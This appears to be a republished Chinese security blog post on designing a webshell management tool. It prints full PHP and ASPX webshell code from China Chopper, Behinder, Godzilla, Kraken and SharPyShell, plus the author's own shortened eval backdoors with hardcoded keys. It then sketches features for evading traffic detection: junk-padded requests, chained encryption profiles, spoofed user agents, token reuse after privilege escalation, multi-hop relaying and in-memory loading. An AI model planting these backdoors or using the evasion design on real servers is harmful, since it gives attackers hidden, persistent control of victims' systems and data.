0x00 前言
工具设计的目的是简化一个复杂的利用流程,如果不是单纯的脚本,只是稍微功能复杂一点工具,每个人的体验都是完全不同的。为了让普通的用户能够傻瓜化利用,高端用户以高度自定义的方式使用,那么我们都会设计成可拓展性的框架,让更多的功能以动态形式存在使其可以随时变化。并且随着时代的发展对抗的增加,OPSEC
也显得非常重要,那么合理的类似Cache
的操作和VCMD
命令就显得非常重要。
1、自定义 ≠ 复杂的输入
0x00 软件基本构成
软件功能模块
1、基本环境信息探测
2、虚拟终端模块
3、文件操作模块
4、提权模块
5、代理模块
6、代码执行模块
7、内存加载模块
8、多级联动模块
9、数据库模块
10、其他横向移动插件
通讯模块
1、Payload生成模块
2、加密解密模块
3、Profile模块
调用顺序
创建
Payload
->加密Payload
->根据Proflie
发出数据包。
0x01 常见软件
在整个管理软件中,Webshell
的设计尤为重要,它的设计关乎了整个软件的设计架构,先来看常见的国内软件设计。
菜刀、蚁剑
<?php @eval($_POST['chopper']);?>
显然传统的菜刀webshell
设计虽然很短,但是已经不满足现状的网络环境:
1、使用比如最简单的Base64编码
也得同时Post多个参数来实现,尽管我们可以通过修改他的加密解密模块去修改他的通讯,但是也相对比较麻烦。虽然蚁剑也是我常用的工具之一,因为在有流量拦截的时候,垃圾数据包真的很好用,其他工具想用起来这个功能就非常麻烦了。2、数据永远是Post来传输,没有缓存,会导致包的大小一直很大。虽然有时候Session
和cookies
在禁用的时候也不见得有多好,但是这种模式感觉还是相对主流,在N年以前对这些不熟悉的情况下,我曾经想利用临时上传文件的方式来临时储存我的代码以供后续使用。
冰蝎
<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>
继菜刀后一款完全不一样的管理工具,但是无论是.net
尾部填充数据作为参赛,还是Java ASM
动态修改数据,它都是每次都会重复打入模块。它的webshell
很短,因为它把加密函数放在了payload里面。
哥斯拉
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='verter';
$payloadName='payload';
$key='cb42e130d1471239';
if (isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
}else{
if (stripos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}
哥斯拉的设计思路很巧妙,与冰蝎不同的是,通过他这种方法一次性打入Payload
后,后续只要提交加密的相应参数,而不需要再修改Payload。除了第一次的Payload有点大,后续的数据包都控制在一个相对小巧下。
国外软件
Kraken
<?php
error_reporting(E_ALL);
ini_set('display_errors', 'on');
class Handler
{
public $REQUEST_METHOD = "POST";
private $PASSWORD_TYPE = "COOKIE";
private $PASSWORD_KEY = "X-Authorization";
private $PASSWORD_VALUE = "P4ssw0rd!";
private $REQUEST_DATA_TYPE = "FIELD";
private $REQUEST_DATA_KEY = "data";
private $RESPONSE_DATA_KEY = "data";
private $EX_CODE = "3";
.....
if (isset($control) && sizeof($control) === 2)
{
if ($control[0] === $handler->ACTION_UPDATE)
{
file_put_contents(__FILE__, $control[1]);
}
elseif ($control[0] === $handler->ACTION_DELETE)
{
unlink(__FILE__);
}
}
代码很长,不方便贴出来,但是这款软件的设计具有很多的VCMD
操作和Token
类的,设计思路不错
SharPyShell
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.Web" %>
<%@ Import Namespace="System.Reflection" %>
<script Language="c#" runat="server">
void Page_Load(object sender, EventArgs e)
{
string p = "{{SharPyShell_Placeholder_pwd}}";
string r = Request.Form["data"];
byte[] a = {{SharPyShell_Placeholder_enc_dll}};
for(int i = 0; i < a.Length; i++) a[i] ^= (byte)p[i % p.Length];
Assembly aS = Assembly.Load(a);
object o = aS.CreateInstance("SharPy");
MethodInfo mi = o.GetType().GetMethod("Run");
object[] iN = new object[] {r, p};
object oU = mi.Invoke(o, iN);
Response.Write(oU);
}
</script>
很传统的Assembly.Load
Dll或者动态编译了。总体来说,个人感觉国内的Webshell
设计比较领先老外的开源工具,可能从最开始他们的设计思路上就不一样。
0x02 幻想设计
Webshell设计
在看了其他软件后,最终感觉总体上还是使用Session
和Cookies
存取数据,极限的缩短Webshell
,把加密方法放在后续的打入Payload里面,这样的好处就是请求包我们可以控制填充垃圾数据,返回包加密方式随时可以动态调整(ps: 比如随时调整返回包为base64、aes、html、json),真正做到《流量永久免杀》🤪。
类似如下:
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='verter';
$payloadName='payload';
$key='cb42e130d1471239';
if (isset($_POST[$pass])){
$data=encode($_POST[$pass],$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
eval($payload);
}else{
if (stripos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}
甚至这样:
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='verter';
$payloadName='payload';
$key='cb42e130d1471239';
$payload=encode($_SESSION[$payloadName],$key);
eval($payload);
}
然后把部分执行Session的功能移植在第一步的Payload里面。
Profile设计
为了拓展性更强,并且在不修改源码下获得最大的自定义,那么Profile
就是首选,下面一个简单的Profile例子:
Base:
encode: RSA->AES->BASE64->XOR->HEX
decode: HEX->XOR->BASE64->AES->RSA
SetPayladType:ALL
SessionKeep: True
SetJitter: 20
Request:
method: GET
Useragents:
- Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
- Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
- Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
contentType: text/html
prepend: aaaaaaaaaaa
append: bbbbbbbbbbbb
palyoadPrepend: md5("123")
palyoadAppend: md5("123")
parameterArgue:
aaa: bbb
bbb: ccc
ccc: ccc
palyoadSet: Body
bodyType: Form
Response:
payloadSet: Body
prepend: cccccccc
append: dddddd
palyoadPrepend: md5("123")
palyoadAppend: md5("123")
matchers:
DSL:'if(status_code==302){} while'
通过Profile
设置一些默认参数,来指定请求包和返回包的内容,根据我的构想在使用Profile
第一次构建过程中,.NET
会使用动态编译或者Dnlib
类似的工具把返回包所需要的解密方法打入进去,由于最初构建项目想法是使用c#
所以修改Java这里也有相对应的ObjectWeb.Asm
模块。整个profile
的核心也就是DSL
语法了,就像CS
的Sleep
语法一样,通过简单的语法实现功能,比如脏数据包("aaa=aaa&")*500
,再比如假如返回包不成功就sleep
3秒继续执行来应对快速变化的负载均衡if(body.payload!=ok){sleep(3)}...
HTTP
1、支持RAW类型的设计似乎也是不错的设计思路,用Bp抓一个自己喜欢的包后,通过自己用socket构造的Http请求库来实现,这样畸形数据包也迎刃而解。
POST /Home/About HTTP/1.1
Host: 192.168.36.4:8001
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.36.4:8001/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
{{Payload}}
2、WebSocket
VCMD
还在用纯命令搜集信息就太容易被逮住了,通过编写对应的Payload和命令,注册在VCMD或者其他窗口下。在windows、Linux下除了PHP,其他都能用纯代码的形式获取大部分命令。又或者利用列目录的一些东西收集杀软或者其他信息。
{
"Name": "whoami",
"Type": "ASPX",
"Payload": "whoami.dll"
}
文件操作
这个模块只需要保证支持,文件大文件上传下载,断点上传下载,SMB共享目录浏览,文件前几字节的预览,文件夹文件的复制粘贴,压缩解压。
权限提升
试想一下如果我们目前是一个iis最低的权限,然后想去下载某个文件夹的东西。传统流程 提权->列目录->提权->copy->下载
,在Kraken
有一个很好的设计,他在提权后把token保存了起来,随时都可以使用,那么我们的设计在总Payload
这里是不是就可以随时模拟无论是提权的还是其他的形式获得的Token
Token List
--------
system 使用中
admin
administrator
--------
内存加载
内存加载普通PE文件或者.net
jar
等等。
多级联动
本质上就是每一个Webshell都是一个转发器,将发送的数据包解密后转发给下一级目标,这样比代理更快。
{
"url","https://192.168.55.13/shell.aspx",
"Payload","aaaaaaaaaaaaaaaa"
}
数据库
数据库配合Sqltools
的功能更加强大,在Webshell
直接对站库分离的环境进行操作。
工具联动
利用脚本实现非代理方式的联动。
暂时先写这么多。
原文始发于微信公众号(404安全):梦中Webshell工具的设计思路